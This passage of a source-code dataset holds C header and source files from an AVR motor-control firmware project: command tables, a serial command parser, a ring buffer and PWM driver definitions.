parameters_max_current_help_message[] PROGMEM \t\t= \"parameters_max_current_help_message\";\nconst PROGMEM char parameters_max_temperature_help_message[] PROGMEM \t= \"parameters_max_temperature_help_message\";\nconst PROGMEM char parameters_max_velocity_help_message[] PROGMEM \t= \"parameters_max_velocity_help_message\";\nconst PROGMEM char parameters_mode_help_message[] PROGMEM \t\t\t= \"parameters_mode_help_message\";\nconst PROGMEM char parameters_position_help_message[] PROGMEM \t\t= \"parameters_position_help_message\";\nconst PROGMEM char parameters_power_help_message[] PROGMEM \t\t\t= \"parameters_power_help_message\";\nconst PROGMEM char parameters_proportional_help_message[] PROGMEM \t= \"parameters_proportional_help_message\";\nconst PROGMEM char parameters_temperature_help_message[] PROGMEM \t\t= \"parameters_temperature_help_message\";\nconst PROGMEM char parameters_velocity_help_message[] PROGMEM \t\t= \"parameters_velocity_help_message\";\n\nconst PROGMEM char * const parameters_help_messages[PARAMETER_COUNT - 1] =\n{\n\tparameters_encoder_help_message,\n\tparameters_limit_help_message,\n\tparameters_potentiometer_help_message,\n\tparameters_abs_distance_help_message,\n\tparameters_acceleration_help_message,\n\tparameters_current_help_message,\n\tparameters_derivative_help_message,\n\tparameters_direction_help_message,\n\tparameters_distance_help_message,\n\tparameters_input_help_message,\n\tparameters_integral_help_message,\n\tparameters_lipo_protection_help_message,\n\tparameters_lipo_status_help_message,\n\tparameters_max_current_help_message,\n\tparameters_max_temperature_help_message,\n\tparameters_max_velocity_help_message,\n\tparameters_mode_help_message,\n\tparameters_position_help_message,\n\tparameters_power_help_message,\n\tparameters_proportional_help_message,\n\tparameters_temperature_help_message,\n\tparameters_velocity_help_message\n};\n\n//----------------------------------------------------------//\n//E\t\t\tL\t\tP\n//Encoder\tLimit\tPotentiometer\n\n#define SUB_PARAMETER_COUNT 13\n#define SUB_PARAMETER_WITH_SUB_PARAMETER 2\nstatic const command_table sub_parameters[SUB_PARAMETER_COUNT] =\n{\n\t{\"0\"\t\t\t\t,\"0\"\t, xLx },\n\t{\"1\"\t\t\t\t,\"1\"\t, xLx },\n\n\t{\"center\"\t\t\t,\"c\"\t, ExP },\n\t{\"count_per_rev\"\t,\"cpr\"\t, Exx },\n\t{\"direction\"\t\t,\"dir\"\t, ExP },\n\t{\"gear_ratio\"\t\t,\"gr\"\t, Exx },\n\t{\"high_range\"\t\t,\"hr\"\t, ExP },\n\t{\"low_range\"\t\t,\"lr\"\t, ExP },\n\t{\"mode\"\t\t\t\t,\"m\"\t, xLx },\n\t{\"position\"\t\t\t,\"pos\"\t, ExP },\n\t{\"rev_per_deg\"\t\t,\"cpd\"\t, Exx },\n\t{\"wheel_size\"\t\t,\"ws\"\t, Exx },\n\n\t{\"help\"\t\t\t\t,\"h\"\t, 0xff }\n};\n\nconst PROGMEM char sub_parameters_0_help_message[] \t\t\t\t= \"sub_parameters_0_help_message\";\nconst PROGMEM char sub_parameters_1_help_message[] \t\t\t\t= \"sub_parameters_1_help_message\";\nconst PROGMEM char sub_parameters_center_help_message[] \t\t\t= \"sub_parameters_center_help_message\";\nconst PROGMEM char sub_parameters_count_per_rev_help_message[] \t= \"sub_parameters_count_per_rev_help_message\";\nconst PROGMEM char sub_parameters_direction_help_message[] \t\t= \"sub_parameters_direction_help_message\";\nconst PROGMEM char sub_parameters_gear_ratio_help_message[] \t\t= \"sub_parameters_gear_ratio_help_message\";\nconst PROGMEM char sub_parameters_high_range_help_message[] \t\t= \"sub_parameters_high_range_help_message\";\nconst PROGMEM char sub_parameters_low_range_help_message[] \t\t= \"sub_parameters_low_range_help_message\";\nconst PROGMEM char sub_parameters_mode_help_message[] \t\t\t= \"sub_parameters_mode_help_message\";\nconst PROGMEM char sub_parameters_position_help_message[] \t\t= \"sub_parameters_position_help_message\";\nconst PROGMEM char sub_parameters_rev_per_deg_help_message[] \t\t= \"sub_parameters_rev_per_deg_help_message\";\nconst PROGMEM char sub_parameters_wheel_size_help_message[] \t\t= \"sub_parameters_wheel_size_help_message\";\n\nconst PROGMEM char * const sub_parameters_help_messages[SUB_PARAMETER_COUNT - 1] =\n{\n\t\tsub_parameters_0_help_message,\n\t\tsub_parameters_1_help_message,\n\t\tsub_parameters_center_help_message,\n\t\tsub_parameters_count_per_rev_help_message,\n\t\tsub_parameters_direction_help_message,\n\t\tsub_parameters_gear_ratio_help_message,\n\t\tsub_parameters_high_range_help_message,\n\t\tsub_parameters_low_range_help_message,\n\t\tsub_parameters_mode_help_message,\n\t\tsub_parameters_position_help_message,\n\t\tsub_parameters_rev_per_deg_help_message,\n\t\tsub_parameters_wheel_size_help_message\n};\n\n\n//----------------------------------------------------------//\n\n#define LIMIT_SUB_PARAMETER_COUNT 3\nstatic const command_table limit_sub_parameters[LIMIT_SUB_PARAMETER_COUNT] =\n{\n\t{\"mode\"\t\t,\"m\"\t, 0xff },\n\t{\"status\"\t,\"s\"\t, 0xff },\n\n\t{\"help\"\t\t,\"h\"\t, 0xff }\n};\n\nconst PROGMEM char limit_sub_parameters_mode_help_message[]\t\t= \"limit_sub_parameters_mode_help_message\";\nconst PROGMEM char limit_sub_parameters_status_help_message[]\t= \"limit_sub_parameters_status_help_message\";\n\nconst PROGMEM char * const limit_sub_parameters_help_messages[LIMIT_SUB_PARAMETER_COUNT - 1] =\n{\n\t\tsub_parameters_0_help_message,\n\t\tsub_parameters_1_help_message\n};\n\n#endif /* COMMANDS_H_ */\n" }, { "alpha_fraction": 0.7135325074195862, "alphanum_fraction": 0.7346221208572388, "avg_line_length": 19.321428298950195, "blob_id": "90f9f7506d11e7d03ada87320c746b1244bf3eba", "content_id": "6cbe96fa72a5c712ee84117e9d76f1af4154241e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 569, "license_type": "permissive", "max_line_length": 43, "num_lines": 28, "path": "/src/ringBuffer.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * circularBuffer.h\n *\n * Created on: Apr 27, 2014\n * Author: caseykuhns\n */\n\n#ifndef CIRCULARBUFFER_H_\n#define CIRCULARBUFFER_H_\n#include <avr/io.h>\n\n#define BUFFER_SIZE 16\n\n//\nvoid bufferInit(uint8_t size);\n\n//put a character into the buffer\nvoid putCharInBuffer(uint8_t data);\n//pull a character from the buffer\nuint8_t getCharFromBuffer(void);\n//get the current length of the buffer\nuint8_t getBufferLength(void);\n//helper function to report buffer overflow\nvoid bufferOverflow(void);\n//flush buffer\nvoid flushBuffer(void);\n\n#endif /* CIRCULARBUFFER_H_ */\n" }, { "alpha_fraction": 0.6736471652984619, "alphanum_fraction": 0.8006366491317749, "avg_line_length": 19.16216278076172, "blob_id": "455fc565d5f60e8732e4fc0b46833927568a5e79", "content_id": "ab1446ad4642762a5b1b9f51ed5351de540083f6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5969, "license_type": "permissive", "max_line_length": 31, "num_lines": 296, "path": "/src/commandContexts.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * commandContexts.h\n *\n * Created on: Jun 6, 2014\n * Author: casey.kuhns\n */\n\n#ifndef COMMANDCONTEXTS_H_\n#define COMMANDCONTEXTS_H_\n\n#define xxx 0x00\n#define Gxx 0x01\n#define xxx 0x00\n#define Gxx 0x01\n#define xSx 0x02\n#define GSx 0x03\n#define xxx 0x00\n#define Gxx 0x01\n#define xSx 0x02\n#define GSx 0x03\n#define xxR 0x04\n#define GxR 0x05\n#define xSR 0x06\n#define GSR 0x07\n\n#define Gxxxxxx 0x01\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxRxxxx 0x04\n#define GxRxxxx 0x05\n#define xSRxxxx 0x06\n#define GSRxxxx 0x07\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxRxxxx 0x04\n#define GxRxxxx 0x05\n#define xSRxxxx 0x06\n#define GSRxxxx 0x07\n#define xxxCxxx 0x08\n#define GxxCxxx 0x09\n#define xSxCxxx 0x0a\n#define GSxCxxx 0x0b\n#define xxRCxxx 0x0c\n#define GxRCxxx 0x0d\n#define xSRCxxx 0x0e\n#define GSRCxxx 0x0f\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxRxxxx 0x04\n#define GxRxxxx 0x05\n#define xSRxxxx 0x06\n#define GSRxxxx 0x07\n#define xxxCxxx 0x08\n#define GxxCxxx 0x09\n#define xSxCxxx 0x0a\n#define GSxCxxx 0x0b\n#define xxRCxxx 0x0c\n#define GxRCxxx 0x0d\n#define xSRCxxx 0x0e\n#define GSRCxxx 0x0f\n#define xxxxMxx 0x10\n#define GxxxMxx 0x11\n#define xSxxMxx 0x12\n#define GSxxMxx 0x13\n#define xxRxMxx 0x14\n#define GxRxMxx 0x15\n#define xSRxMxx 0x16\n#define GSRxMxx 0x17\n#define xxxCMxx 0x18\n#define GxxCMxx 0x19\n#define xSxCMxx 0x1a\n#define GSxCMxx 0x1b\n#define xxRCMxx 0x1c\n#define GxRCMxx 0x1d\n#define xSRCMxx 0x1e\n#define GSRCMxx 0x1f\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxRxxxx 0x04\n#define GxRxxxx 0x05\n#define xSRxxxx 0x06\n#define GSRxxxx 0x07\n#define xxxCxxx 0x08\n#define GxxCxxx 0x09\n#define xSxCxxx 0x0a\n#define GSxCxxx 0x0b\n#define xxRCxxx 0x0c\n#define GxRCxxx 0x0d\n#define xSRCxxx 0x0e\n#define GSRCxxx 0x0f\n#define xxxxMxx 0x10\n#define GxxxMxx 0x11\n#define xSxxMxx 0x12\n#define GSxxMxx 0x13\n#define xxRxMxx 0x14\n#define GxRxMxx 0x15\n#define xSRxMxx 0x16\n#define GSRxMxx 0x17\n#define xxxCMxx 0x18\n#define GxxCMxx 0x19\n#define xSxCMxx 0x1a\n#define GSxCMxx 0x1b\n#define xxRCMxx 0x1c\n#define GxRCMxx 0x1d\n#define xSRCMxx 0x1e\n#define GSRCMxx 0x1f\n#define xxxxxSx 0x20\n#define GxxxxSx 0x21\n#define xSxxxSx 0x22\n#define GSxxxSx 0x23\n#define xxRxxSx 0x24\n#define GxRxxSx 0x25\n#define xSRxxSx 0x26\n#define GSRxxSx 0x27\n#define xxxCxSx 0x28\n#define GxxCxSx 0x29\n#define xSxCxSx 0x2a\n#define GSxCxSx 0x2b\n#define xxRCxSx 0x2c\n#define GxRCxSx 0x2d\n#define xSRCxSx 0x2e\n#define GSRCxSx 0x2f\n#define xxxxMSx 0x30\n#define GxxxMSx 0x31\n#define xSxxMSx 0x32\n#define GSxxMSx 0x33\n#define xxRxMSx 0x34\n#define GxRxMSx 0x35\n#define xSRxMSx 0x36\n#define GSRxMSx 0x37\n#define xxxCMSx 0x38\n#define GxxCMSx 0x39\n#define xSxCMSx 0x3a\n#define GSxCMSx 0x3b\n#define xxRCMSx 0x3c\n#define GxRCMSx 0x3d\n#define xSRCMSx 0x3e\n#define GSRCMSx 0x3f\n#define xxxxxxx 0x00\n#define Gxxxxxx 0x01\n#define xSxxxxx 0x02\n#define GSxxxxx 0x03\n#define xxRxxxx 0x04\n#define GxRxxxx 0x05\n#define xSRxxxx 0x06\n#define GSRxxxx 0x07\n#define xxxCxxx 0x08\n#define GxxCxxx 0x09\n#define xSxCxxx 0x0a\n#define GSxCxxx 0x0b\n#define xxRCxxx 0x0c\n#define GxRCxxx 0x0d\n#define xSRCxxx 0x0e\n#define GSRCxxx 0x0f\n#define xxxxMxx 0x10\n#define GxxxMxx 0x11\n#define xSxxMxx 0x12\n#define GSxxMxx 0x13\n#define xxRxMxx 0x14\n#define GxRxMxx 0x15\n#define xSRxMxx 0x16\n#define GSRxMxx 0x17\n#define xxxCMxx 0x18\n#define GxxCMxx 0x19\n#define xSxCMxx 0x1a\n#define GSxCMxx 0x1b\n#define xxRCMxx 0x1c\n#define GxRCMxx 0x1d\n#define xSRCMxx 0x1e\n#define GSRCMxx 0x1f\n#define xxxxxSx 0x20\n#define GxxxxSx 0x21\n#define xSxxxSx 0x22\n#define GSxxxSx 0x23\n#define xxRxxSx 0x24\n#define GxRxxSx 0x25\n#define xSRxxSx 0x26\n#define GSRxxSx 0x27\n#define xxxCxSx 0x28\n#define GxxCxSx 0x29\n#define xSxCxSx 0x2a\n#define GSxCxSx 0x2b\n#define xxRCxSx 0x2c\n#define GxRCxSx 0x2d\n#define xSRCxSx 0x2e\n#define GSRCxSx 0x2f\n#define xxxxMSx 0x30\n#define GxxxMSx 0x31\n#define xSxxMSx 0x32\n#define GSxxMSx 0x33\n#define xxRxMSx 0x34\n#define GxRxMSx 0x35\n#define xSRxMSx 0x36\n#define GSRxMSx 0x37\n#define xxxCMSx 0x38\n#define GxxCMSx 0x39\n#define xSxCMSx 0x3a\n#define GSxCMSx 0x3b\n#define xxRCMSx 0x3c\n#define GxRCMSx 0x3d\n#define xSRCMSx 0x3e\n#define GSRCMSx 0x3f\n#define xxxxxxC 0x40\n#define GxxxxxC 0x41\n#define xSxxxxC 0x42\n#define GSxxxxC 0x43\n#define xxRxxxC 0x44\n#define GxRxxxC 0x45\n#define xSRxxxC 0x46\n#define GSRxxxC 0x47\n#define xxxCxxC 0x48\n#define GxxCxxC 0x49\n#define xSxCxxC 0x4a\n#define GSxCxxC 0x4b\n#define xxRCxxC 0x4c\n#define GxRCxxC 0x4d\n#define xSRCxxC 0x4e\n#define GSRCxxC 0x4f\n#define xxxxMxC 0x50\n#define GxxxMxC 0x51\n#define xSxxMxC 0x52\n#define GSxxMxC 0x53\n#define xxRxMxC 0x54\n#define GxRxMxC 0x55\n#define xSRxMxC 0x56\n#define GSRxMxC 0x57\n#define xxxCMxC 0x58\n#define GxxCMxC 0x59\n#define xSxCMxC 0x5a\n#define GSxCMxC 0x5b\n#define xxRCMxC 0x5c\n#define GxRCMxC 0x5d\n#define xSRCMxC 0x5e\n#define GSRCMxC 0x5f\n#define xxxxxSC 0x60\n#define GxxxxSC 0x61\n#define xSxxxSC 0x62\n#define GSxxxSC 0x63\n#define xxRxxSC 0x64\n#define GxRxxSC 0x65\n#define xSRxxSC 0x66\n#define GSRxxSC 0x67\n#define xxxCxSC 0x68\n#define GxxCxSC 0x69\n#define xSxCxSC 0x6a\n#define GSxCxSC 0x6b\n#define xxRCxSC 0x6c\n#define GxRCxSC 0x6d\n#define xSRCxSC 0x6e\n#define GSRCxSC 0x6f\n#define xxxxMSC 0x70\n#define GxxxMSC 0x71\n#define xSxxMSC 0x72\n#define GSxxMSC 0x73\n#define xxRxMSC 0x74\n#define GxRxMSC 0x75\n#define xSRxMSC 0x76\n#define GSRxMSC 0x77\n#define xxxCMSC 0x78\n#define GxxCMSC 0x79\n#define xSxCMSC 0x7a\n#define GSxCMSC 0x7b\n#define xxRCMSC 0x7c\n#define GxRCMSC 0x7d\n#define xSRCMSC 0x7e\n#define GSRCMSC 0x7f\n\n#define xxx 0x00\n#define Exx 0x01\n#define xxx 0x00\n#define Exx 0x01\n#define xLx 0x02\n#define ELx 0x03\n#define xxx 0x00\n#define Exx 0x01\n#define xLx 0x02\n#define ELx 0x03\n#define xxP 0x04\n#define ExP 0x05\n#define xLP 0x06\n#define ELP 0x07\n\n\n#endif /* COMMANDCONTEXTS_H_ */\n\n" }, { "alpha_fraction": 0.6605769395828247, "alphanum_fraction": 0.6748397350311279, "avg_line_length": 24.161291122436523, "blob_id": "f0b2952ad7f036747179c8f30c00d6294d131eea", "content_id": "2c6b3229c26296a0349f00184f4692d407b8acde", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6240, "license_type": "permissive", "max_line_length": 103, "num_lines": 248, "path": "/src/commandParser.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * commands.c\n *\n * Created on: Apr 26, 2014\n * Author: caseykuhns\n */\n\n#include <avr/io.h>\n#include <string.h>\n#include <avr/pgmspace.h>\n#include <util/delay.h>\n#include \"commands.h\"\n#include \"commandParser.h\"\n\n#include \"ringBuffer.h\"\n#include \"serial.h\"\n#include \"errors.h\"\n\nuint8_t commandBuffer[COMMAND_BUFFER_SIZE];\nuint8_t commandBufferPosition = 0;\n\n//Make a buffer for bringing messages out of program flash.\n//This is AVR specific\nchar progmem_tempBuffer[80];\n\nvoid commandInit(void){\n\t//TODO print version number\n\tserialPutStr(\"Hello Dave...\\n\\r\");\n\trestartBuffer();\n}\n\nvoid restartBuffer(void){\n\t//Reset the command buffer\n\tcommandBufferPosition = 0;\n\t//Clear the UART buffer just to make sure we don't carry over bad data\n\tflushBuffer();\n\t//Give the user a clean fresh input line\n\tserialPutStr(\"\\r\\n> \");\n}\n\nvoid invalidCommand(void){\n\tserialPutStr(\"\\r\\nInvalid command\");\n\t//TODO print help\n}\n\nint8_t tokenErrorHandler(int8_t badToken, uint8_t currentCommand){\n\t//General index Variable\n\tuint8_t i;\n\t//Give the print statement a new fresh line to start\n\tserialPutStr(\"\\r\\n\");\n\n\t//Determine what type of error/status we are working with\n\tswitch(badToken){\n\tcase HELP:{\n\t\tif(currentCommand == 0){\n\t\t\t//first level of help mesages.\n\t\t\tfor(i = 0; i < (COMMAND_COUNT - 1); i++){\n\t\t\t\tserialPutStr(\" * \");\n\t\t\t\tserialPutStr(commands[i].commandName);\n\t\t\t\tserialPutStr(\" - \");\n\t\t\t\tstrcpy_P(progmem_tempBuffer, (char*)pgm_read_word(&(commands_help_messages[i])));\n\t\t\t\tserialPutStr(progmem_tempBuffer);\n\t\t\t\tserialPutStr(\"\\r\\n\");\n\t\t\t};\n\t\t}\n\t\t\tif(currentCommand >= 1){\n\t\t\t\tcurrentCommand--;\n\t\t\t\tfor(i = 0; i < (PARAMETER_COUNT - 1); i++){\n\t\t\t\t\tserialPutStr(\" * \");\n\t\t\t\t\tserialPutStr(parameters[i].commandName);\n\t\t\t\t\tserialPutStr(\" - \");\n\t\t\t\t\tstrcpy_P(progmem_tempBuffer, (char*)pgm_read_word(&(parameters_help_messages[i])));\n\t\t\t\t\tserialPutStr(progmem_tempBuffer);\n\t\t\t\t\tserialPutStr(\"\\r\\n\");\n\t\t\t\t}\n\n\t\t\t}\n\t\tbreak;\n\t}\n\tcase INVALID_COMMAND:{\n\t\tserialPutStr(\" INVALID\");\n\t\t//TODO display contextual help message?\n\t\tbreak;\n\t}\n\tcase INVALID_CONTEXT:{\n\t\tserialPutStr(\" NOT AVAILABLE\");\n\t\t//TODO display contextual help message?\n\t\tbreak;\n\t}\n\tdefault:{ // Catch all other errors (...Cat walks across keyboard)\n\t\tserialPutStr(\" ERROR\");\n\t\tbreak;\n\t}\n\t}\n\treturn 0;\n}\n\n\n\nuint8_t commandCheckASCII(char *dataArray){\n\n\twhile (getBufferLength() >= 1){\n\n\t\tuint8_t data = getCharFromBuffer();\n\n\t\tif(commandBufferPosition < COMMAND_BUFFER_SIZE){\n\n\t\t\tif((data >= ' ') && (data <= '~')){\n\t\t\t\t//Valid text characters\n\t\t\t\tcommandBuffer[commandBufferPosition] = data;\n\t\t\t\tserialPutChar(data);\n\t\t\t\tcommandBufferPosition++;\n\t\t\t}\n\t\t}\n\t\tif(data == '\\r' || data == '\\n'){\n\t\t\t//Return or linefeed\n\t\t\t//CommandComplete\n\t\t\t//Null terminate the string\n\t\t\tif(commandBufferPosition < 1){\n\t\t\t\trestartBuffer();\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tcommandBuffer[commandBufferPosition] = 0x00;\n\t\t\tcommandBufferPosition = 0;\n\n\t\t\treturn 1;\n\t\t}\n\t\tif(data == 127){\n\t\t\t//delete\n\t\t\tif(commandBufferPosition > 0){\n\t\t\t\tserialPutStr(\"\\b \\b\");\n\t\t\t\tcommandBufferPosition--;\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\n\nint16_t ASCIIComandParse(char *dataArray){\n\n\tstrlwr(dataArray); //make everything lower case for easy processing\n\tchar * token;\t\t//create a string to store a token\n\tuint16_t command = 0;\t//store built up command\n\tint8_t returnedToken;\n\tuint8_t tokenContext;\n\n\n\ttoken = strtok(dataArray, \" \"); //Grab the first token\n\t\t//Note: context variable is 0xff since this is the first entry.\n\treturnedToken = checkTokenTable(token, commands, 0xff, COMMAND_COUNT);\n\tif(returnedToken < 0){\n\t\treturn tokenErrorHandler(returnedToken, 0x00);\n\t}\n\tcommand |= returnedToken << COMMAND;\n\ttokenContext = (1 << returnedToken);\n\n\ttoken = strtok(NULL, \" \"); //Grab the next token\n\treturnedToken = checkTokenTable(token, objects, tokenContext, OBJECT_COUNT);\n\tif(returnedToken < 0){\n\t\treturn tokenErrorHandler(returnedToken, (command + 1));\n\t}\n\tcommand |= returnedToken << OBJECT;\n\ttokenContext = (1 << returnedToken << 3);\n\n\ttoken = strtok(NULL, \" \"); //Grab the next token\n\treturnedToken = checkTokenTable(token, parameters, tokenContext, PARAMETER_COUNT);\n\tif(returnedToken < 0){\n\t\treturn tokenErrorHandler(returnedToken, command);\n\t}\n\tcommand |= returnedToken << PARAMETER;\n\ttokenContext = (1 << returnedToken);\n\n\tif((returnedToken <= PARAMETER_WITH_SUB_PARAMETER - 1) && (returnedToken >= 0)){\n\t\ttoken = strtok(NULL, \" \"); //Grab the next token\n\t\treturnedToken = checkTokenTable(token, sub_parameters, tokenContext, SUB_PARAMETER_COUNT);\n\t\tcommand |= returnedToken << SUB_PARAMETER;\n\t\t//if((returnedToken <= SUB_PARAMETER_WITH_SUB_PARAMETER) && (returnedToken >= 0)){\n\t\t//\ttoken = strtok(NULL, \" \"); //Grab the next token\n\t\t//\treturnedToken = checkTokenTable(token, sub_parameters, tokenContext, SUB_PARAMETER_COUNT);\n\t\t//\tcommand |= returnedToken << SUB_PARAMETER;\n\t\t//}\n\t}\n\n#ifdef _DEBUG //Debug that stuff!!!\n\n\tserialPutStr(\"\\n\\r\");\n//\n\tuint16_t commandTest = command >> COMMAND;\n\tcommandTest &= 0x03;\n\n\tserialPutStr(commands[commandTest].commandName);\n\tserialPutStr(\" \");\n//\n\tcommandTest = command >> OBJECT;\n\tcommandTest &= 0x07;\n\n\tserialPutStr(objects[commandTest].commandName);\n\tserialPutStr(\" \");\n//\n\tcommandTest = command >> PARAMETER;\n\tcommandTest &= 0x1F;\n\n\tserialPutStr(parameters[commandTest].commandName);\n\tserialPutStr(\" \");\n//\n\tif((commandTest >= 0) && (commandTest <= 2)){\n\n\t\tcommandTest = command >> SUB_PARAMETER;\n\t\tcommandTest &= 0x0F;\n\n\t\tserialPutStr(sub_parameters[commandTest].commandName);\n\t\t\tif((commandTest >= 0) && (commandTest <= 2){\n\t\t\t\tcommandTest = command >> SUB_SUB_PARAMETER;\n\t\t\t\tcommandTest &= 0x0F;\n\t\t\t\tserialPutStr(sub_sub_parameters[commandTest].commandName);\n\t\t\t}\n\t}\n#endif\n\n\treturn command;\n}\n\n\nint8_t checkTokenTable(char* token, const command_table array[], uint8_t context, uint8_t array_count){\n\n\tuint8_t i; // array index\n\n\tfor(i=0; i <= (array_count + 1); i++){\n\t\tif(i > array_count){\n\t\t\treturn INVALID_COMMAND;\n\t\t}\n\t\tif((strcmp(token, array[i].commandName) == 0)||(strcmp(token, array[i].abreviatedCommandName) == 0)){\n\t\t\tif(i == array_count - 1){\n\t\t\t\t//print help\n\t\t\t\treturn HELP;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif((context & array[i].commandContext) == 0){\n\n\t\t\t\treturn INVALID_CONTEXT;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//If a valid match, break the for loop.\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn i;\n}\n" }, { "alpha_fraction": 0.7027971744537354, "alphanum_fraction": 0.7325174808502197, "avg_line_length": 19.428571701049805, "blob_id": "3a14fd587495dfbe4875231b4afeb8c9a76c970c", "content_id": "7a3a793a0d7463613fc2810b3a6200397f18ce85", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 572, "license_type": "permissive", "max_line_length": 103, "num_lines": 28, "path": "/src/commandParser.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * commands.h\n *\n * Created on: Apr 26, 2014\n * Author: caseykuhns\n */\n\n#ifndef COMMANDPARSER_H_\n#define COMMANDPARSER_H_\n#include <avr/io.h>\n\n#include \"commands.h\"\n\n#define COMMAND_BUFFER_SIZE 81\n\n\n\n\nvoid commandInit(void);\nvoid restartBuffer(void);\nvoid invalidCommand(void);\nint8_t tokenErrorHandler(int8_t badToken, uint8_t currentCommand);\nuint8_t commandCheckASCII(char *dataArray);\nint16_t ASCIIComandParse(char *dataArray);\nint8_t checkTokenTable(char* token, const command_table array[], uint8_t context, uint8_t array_count);\n\n\n#endif /* COMMANDS_H_ */\n" }, { "alpha_fraction": 0.8409090638160706, "alphanum_fraction": 0.8409090638160706, "avg_line_length": 21, "blob_id": "c1289b33c3f9deb1e994374119fb648b676fd2cf", "content_id": "acfea567c140ea1513e50075d063245506f796ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 44, "license_type": "permissive", "max_line_length": 30, "num_lines": 2, "path": "/README.md", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "# MotoMaster\nGeneric Motor control firmware\n" }, { "alpha_fraction": 0.6441947817802429, "alphanum_fraction": 0.6779026389122009, "avg_line_length": 14.70588207244873, "blob_id": "fb30db747e811b9afa57f5ef84caa560a9ca0c29", "content_id": "a40b3d6ec149479101a431434d782c597a93de1f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 267, "license_type": "permissive", "max_line_length": 34, "num_lines": 17, "path": "/src/serial.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * serial.h\n *\n * Created on: Mar 30, 2014\n * Author: caseykuhns\n */\n#ifndef SERIAL_H_\n#define SERIAL_H_\n\n#include \"baud.h\"\n\nvoid serialInit( uint16_t ubrr);\nvoid serialPutChar(uint8_t data );\nvoid serialPutStr(char *data);\nvoid serialGetChar(void);\n\n#endif\n" }, { "alpha_fraction": 0.5422534942626953, "alphanum_fraction": 0.577464759349823, "avg_line_length": 9.923076629638672, "blob_id": "4902501810d23fc88b20df8aa8a4fe89b54d1b05", "content_id": "df6443b8d80f59b3863262d4ce2274a01c390850", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 142, "license_type": "permissive", "max_line_length": 27, "num_lines": 13, "path": "/src/servo.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * servo.c\n *\n * Created on: Apr 1, 2014\n * Author: caseykuhns\n */\n\n#include <avr/io.h>\n#include \"servo.h\"\n\nvoid servoInit(void){\n\n}\n" }, { "alpha_fraction": 0.5943060517311096, "alphanum_fraction": 0.6725978851318359, "avg_line_length": 14.61111068725586, "blob_id": "d5f15324444b4b4a76a3a8f91fee128e057f24b1", "content_id": "3da3b57e168fa08bf51c122efd0df33cfb0df8cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 562, "license_type": "permissive", "max_line_length": 51, "num_lines": 36, "path": "/src/driver.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * driver.h\n *\n * Created on: Apr 1, 2014\n * Author: caseykuhns\n */\n\n#ifndef DRIVER_H_\n#define DRIVER_H_\n\n#define NORMAL \t\t0\n#define TOGGLE \t\t1\n#define NON_INVERT \t2\n#define INVERT \t\t3\n\n#define DIV_0 \t\t0\n#define DIV_1 \t\t2\n#define DIV_8 \t\t3\n#define DIV_64 \t\t4\n#define DIV_256\t\t5\n#define DIV_1024 \t6\n\n#define PWM_PHASE_CORRECT\t0\n#define PWM_FAST\t\t\t1\n\n#define PWM_8BIT\t1\n#define PWM_9BIT\t2\n#define PWM_10BIT\t3\n\n#define CHANNEL1\t0\n#define CHANNEL2\t1\n\nvoid driverInit(int8_t mode);\nvoid driverSetPower(int8_t channel, int16_t value);\n\n#endif /* DRIVER_H_ */\n" }, { "alpha_fraction": 0.7170087695121765, "alphanum_fraction": 0.7463343143463135, "avg_line_length": 13.80434799194336, "blob_id": "925ce9f5df2f8f4d50e45c7285c3473485b7deec", "content_id": "0203255d0a340abaf7a72209a543597de0e3c03f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 682, "license_type": "permissive", "max_line_length": 37, "num_lines": 46, "path": "/src/parameters.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * parameters.h\n *\n * Created on: May 24, 2014\n * Author: caseykuhns\n */\n\ntypedef struct EncoderVariables{\n\tint32_t ABSDistance;\n\tint32_t relativeDistance;\n\tint16_t velocity;\n} Encoder;\n\ntypedef struct EncoderParameters{\n\tuint16_t countsPerRev;\n\tdouble gearRatio;\n\tuint16_t wheelDiameter;\n\n}Encode;\n\ntypedef struct PIDParameters{\n\tdouble P;\n\tdouble I;\n\tdouble D;\n} PID;\n\ntypedef struct LimitSwitchParameters{\n} Limit;\n\ntypedef struct ChannelParameters{\n\tPID pid;\n\tLimit limit0;\n\tLimit limit1;\n\tuint16_t max_velocity;\n} Parameters ;\n\ntypedef struct ChannelVariable{\n\n\n\n} 